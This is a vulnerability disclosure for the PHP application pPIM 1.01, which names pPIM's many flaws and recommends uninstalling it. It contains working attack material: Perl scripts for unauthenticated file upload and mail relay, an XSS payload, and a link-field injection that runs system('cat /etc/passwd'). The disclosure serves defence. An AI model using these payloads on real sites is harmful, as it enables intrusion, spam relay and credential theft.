Open source software security

pPIM 1.01 Multiple Vulnerabilities

30 November -0001

Version Tested: pPIM 1.01

Vendor notified

Description

pPIM (http://www.phlatline.org/index.php?page=prod-ppim) is a Personal Information Management application written in PHP that can store contacts (including their photos), events, links, notes, send and check email, and upload files. pPIM came to my attention recently with the publishing on Milw0rm of exploit code designed to facilitate remote command execution (http://www.milw0rm.com/exploits/8093). As there is a milw0rm exploit already posted it is likely malicious users are already exploiting pPIM. I decided to have a closer look at pPIM and, quite frankly, was horrified by what I found. pPIM contains multiple vulnerabilities, from version information leakage, to system credential disclosure, to remote command execution, authentication bypass and cross site scripting vulnerabilities. Possibly the only class of vulnerability pPIM is not exposed to is SQL injection as it doesn't employ any database back end. That said, there seemed to be nothing in the way of security other than an easily bypassable GET variable check in the header, present in pPIM. The following is a brief synopsis of my findings, although I gave up investigation at after discovering so many flaws in the application's architecture with respect to security.

Version Information Leakage:

By calling the URL http://target.tld/ppim/Readme.txt you can view the version information of the installed version of pPIM.

Password Hash Disclosure:

By requesting the URL http://target.tld/ppim/password.dat the password hash is revealed. Depending on the hashing algorithm used by PHP this could be trivially easy to compromise using a password cracking tool like John the Ripper.

Unauthenticated Password Change:

There is no authentication protection on the password changing script, so calling

http://target.tld/ppim/changepassword.php

will present an attacker with the password change script and allow password reset without confirming the existing password.

Multiple Authentication Problems:

Because the authentication takes place in templates/header.html in an embedded piece of PHP code, depending on server configuration, this code might not be executed. Unless the web server is specifically configured to execute PHP embeded in HTML files server site the PHP code will instead simply be passed back to clients as actual HTML.

Authentication bypass is possible by simply appending the GET variable 'login=1' to the URL. For example, to access the Calendar page, calling the URL 'http://target.tld/ppim/calendar.php' will redirect the unauthenticated user to the login page. However, calling the URL 'http://target.tld/ppim/calendar.php?login=1' will allow unauthenticated access to the Calendar. Any of the pages in pPIM can be accessed this way.

Arbitrary File Upload

pPIM's upload.php script allows attackers to upload arbitrary scripts of any type to the target server. To do this using Perl simply create the file and upload it using Perl:

$ echo "<?php echo phpinfo();?>" > phpinfo.php

The execute the following Perl script:

#!/usr/bin/perl
#
# pPIM Uploader by Justin C. Klein Keane <justin@madirish.net>
# Used to upload the file phpinfo.php to a target pPIM site
# bypassing authentication.
#
# Feb 24, 2009
#
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);

$ua = LWP::UserAgent->new();
$request = HTTP::Request->new();

$response = $ua->request( POST 'http://target.tld/ppim/upload.php?login=1',
        Content_Type => 'form-data',
        Content =>
        [
                'submitupload' => 'submitupload',
                'userfile' => ['./info.php']
        ],
);
die "Error: ", $response->status_line unless $response->is_success;

Unauthorized Email Relay

pPIM's sendmail.php script has absolutely no authentication or validation, allowing anyone with access to the site to relay e-mail. The following Perl script will relay email through the pPIM installation:

#!/usr/bin/perl
#
# pPIM Mailer by Justin C. Klein Keane <justin@madirish.net>
# Used to relay mail through any pPIM installation
#
# Feb 24, 2009
#
use LWP::UserAgent;
use HTTP::Request::Common qw(POST);

$ua = LWP::UserAgent->new();
$request = HTTP::Request->new();

$response = $ua->request( POST 'http://target.tld/ppim/sendmail.php',
        Content_Type => 'form-data',
        Content =>
        [
                'submitemail' => 'submitemail',
                'to' => 'root@localhost',
                'from' => 'root@localhost',
                'message' => 'You are just asking for spam!'
        ],
);
die "Error: ", $response->status_line unless $response->is_success;

Posting Unauthenticated Notes

The notes.php script fails to check authentication before inserting new notes. This allows attackers to post notes without even having to bypass authentication. Similarly no authentication is required to delete notes, allowing unauthenticated attackers to clear all stored notes.

XSS Vulnerability

None of the form fields seem to be adequately scrubbed to prevent Cross Site Scripting (XSS). This vulnerability is endemic throughout the application. For instance, creating a note with the title "<script>alert('foo');</script>" causes a JavaScript alert box to pop up the word "foo" whenever the Notes screen is accessed.

System Credential Exposure

Because the Email function stores mailbox information as a flat file it is easy to disclose system account information. For instance, in pPIM, if I were to create a new mailbox for root a file called "root.email" would be created in the email folder. By calling the URL http://target.tld/ppim/email/root.email the following output is exposed via web browser:

<?php
$mailserver = "localhost";
$username = "root";
$password = "root_password";
?>

Thus an attacker that can enumerate (or guess) user accounts for mailboxes set up via pPIM can easily disclose server location as well as usernames and passwords. This vulnerability affects all data stored in pPIM - it can be accessed directly via URL call without any form of authentication and will expose any material stored in pPIM to users without authentication.

Arbitrary Command Execution

By creating a specially crafted link an attacker can run arbitrary commands with the privileges of the web server process. By altering the URL field of a link the data files created can be manipulated. Under normal usage a user can create a new link under a group, say the 'test_group' with the name 'testlink', the URL '192.168.0.1' and the description 'test description'. This file is then stored in pPIM's root directory under the links/test_group/ directory as testlink.link. Viewing this file we see:

$ cat testlink.link
<?php
$url="192.168.0.52";
$name="test link";
$description="This is the test link";
?>

This file is included as a PHP include when the note is rendered. Rudimentary JavaScript provides client side validation of input data, but if an attacker arbitrarily submitted a form with the following data:

linkname=evil_link&linkurl=";$url=system('cat /etc/passwd');$foo="&linkdescription=test2&groupname=test+group&linksubmit=Make+Link

The URL variable is overwritten with injected definition. Looking at the evil_link.link file created on the filesystem we see:

$ cat evil_link.link
<?php
$url="";$url=system('cat /etc/passwd');$foo="";
$name="evil_link";
$description="test2";
?>

Thus we have arbitrarily overwritten the $url variable and assigned it the value that returns from the output of our system call. In fact, now when a user viewed the Links page they could read the /etc/passwd file via a web browser.

Conclusions

I stopped poking at pPIM after gleaning these details as it became abundantly clear that the application is thoroughly riddled with holes. pPIM fails to enforce any security in it's code, and deploying the application produces a gaping hole in the security of any host.

Recommendations

Uninstall pPIM immediately!